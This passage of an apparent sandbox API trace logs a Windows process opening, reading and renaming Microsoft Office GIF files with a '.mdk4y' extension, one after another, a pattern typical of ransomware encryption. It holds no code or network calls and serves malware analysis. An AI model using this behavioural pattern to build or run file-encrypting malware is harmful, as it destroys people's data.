dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827433100000) returned 1 [0199.101] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x154f, lpOverlapped=0x0) returned 1 [0199.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827433200000) returned 1 [0199.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827433200000) returned 1 [0199.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif.mdk4y")) returned 1 [0199.103] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.103] AreFileApisANSI () returned 1 [0199.103] GetACP () returned 0x4e4 [0199.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR30F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR30F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.103] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827433300000) returned 1 [0199.104] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x905a, lpOverlapped=0x0) returned 1 [0199.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827433500000) returned 1 [0199.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827433500000) returned 1 [0199.106] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif.mdk4y")) returned 1 [0199.107] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.107] AreFileApisANSI () returned 1 [0199.107] GetACP () returned 0x4e4 [0199.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR31F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR31F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.107] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827433700000) returned 1 [0199.108] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3b6e, lpOverlapped=0x0) returned 1 [0199.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827456300000) returned 1 [0199.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827456300000) returned 1 [0199.334] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif.mdk4y")) returned 1 [0199.335] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.335] AreFileApisANSI () returned 1 [0199.335] GetACP () returned 0x4e4 [0199.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR32F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR32F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.336] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827456700000) returned 1 [0199.337] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9eb1, lpOverlapped=0x0) returned 1 [0199.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827458900000) returned 1 [0199.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827458900000) returned 1 [0199.360] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif.mdk4y")) returned 1 [0199.361] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.361] AreFileApisANSI () returned 1 [0199.361] GetACP () returned 0x4e4 [0199.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR33F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR33F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.361] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827459200000) returned 1 [0199.362] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5a34, lpOverlapped=0x0) returned 1 [0199.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827462000000) returned 1 [0199.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827462000000) returned 1 [0199.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR33F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir33f.gif.mdk4y")) returned 1 [0199.392] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.392] AreFileApisANSI () returned 1 [0199.392] GetACP () returned 0x4e4 [0199.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR34F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR34F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.392] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827462300000) returned 1 [0199.393] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa9f0, lpOverlapped=0x0) returned 1 [0199.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827466600000) returned 1 [0199.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827466600000) returned 1 [0199.436] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR34F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir34f.gif.mdk4y")) returned 1 [0199.438] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.438] AreFileApisANSI () returned 1 [0199.438] GetACP () returned 0x4e4 [0199.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR35F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR35F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.438] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827466900000) returned 1 [0199.439] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4660, lpOverlapped=0x0) returned 1 [0199.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827468200000) returned 1 [0199.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827468200000) returned 1 [0199.453] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR35F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir35f.gif.mdk4y")) returned 1 [0199.454] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.454] AreFileApisANSI () returned 1 [0199.454] GetACP () returned 0x4e4 [0199.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR36F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR36F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.454] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827468500000) returned 1 [0199.455] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x875e, lpOverlapped=0x0) returned 1 [0199.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827470900000) returned 1 [0199.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827470900000) returned 1 [0199.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif.mdk4y")) returned 1 [0199.481] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.481] AreFileApisANSI () returned 1 [0199.481] GetACP () returned 0x4e4 [0199.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR37F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR37F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.482] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827471200000) returned 1 [0199.482] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd1ac, lpOverlapped=0x0) returned 1 [0199.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827475900000) returned 1 [0199.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827475900000) returned 1 [0199.529] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif.mdk4y")) returned 1 [0199.531] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.531] AreFileApisANSI () returned 1 [0199.531] GetACP () returned 0x4e4 [0199.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR38F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR38F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.531] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827476200000) returned 1 [0199.532] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xcbc3, lpOverlapped=0x0) returned 1 [0199.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827476300000) returned 1 [0199.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827476300000) returned 1 [0199.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif.mdk4y")) returned 1 [0199.534] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.534] AreFileApisANSI () returned 1 [0199.534] GetACP () returned 0x4e4 [0199.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR39F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR39F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.535] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827476500000) returned 1 [0199.535] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xdc9a, lpOverlapped=0x0) returned 1 [0199.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827476800000) returned 1 [0199.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827476900000) returned 1 [0199.539] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif.mdk4y")) returned 1 [0199.540] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.540] AreFileApisANSI () returned 1 [0199.540] GetACP () returned 0x4e4 [0199.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR3B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR3B.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0199.540] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827477100000) returned 1 [0199.542] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3a1e, lpOverlapped=0x0) returned 1 [0199.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827477300000) returned 1 [0199.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827477300000) returned 1 [0199.543] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif.mdk4y")) returned 1 [0199.544] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.544] AreFileApisANSI () returned 1 [0199.544] GetACP () returned 0x4e4 [0199.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR3F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR3F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0199.545] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827477500000) returned 1 [0199.545] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x58e2, lpOverlapped=0x0) returned 1 [0199.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827479600000) returned 1 [0199.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827479600000) returned 1 [0199.566] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif.mdk4y")) returned 1 [0199.567] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.567] AreFileApisANSI () returned 1 [0199.567] GetACP () returned 0x4e4 [0199.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR40F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR40F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.567] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827479800000) returned 1 [0199.568] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x112a3, lpOverlapped=0x0) returned 1 [0199.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827480000000) returned 1 [0199.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827480000000) returned 1 [0199.570] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif.mdk4y")) returned 1 [0199.572] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.572] AreFileApisANSI () returned 1 [0199.572] GetACP () returned 0x4e4 [0199.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 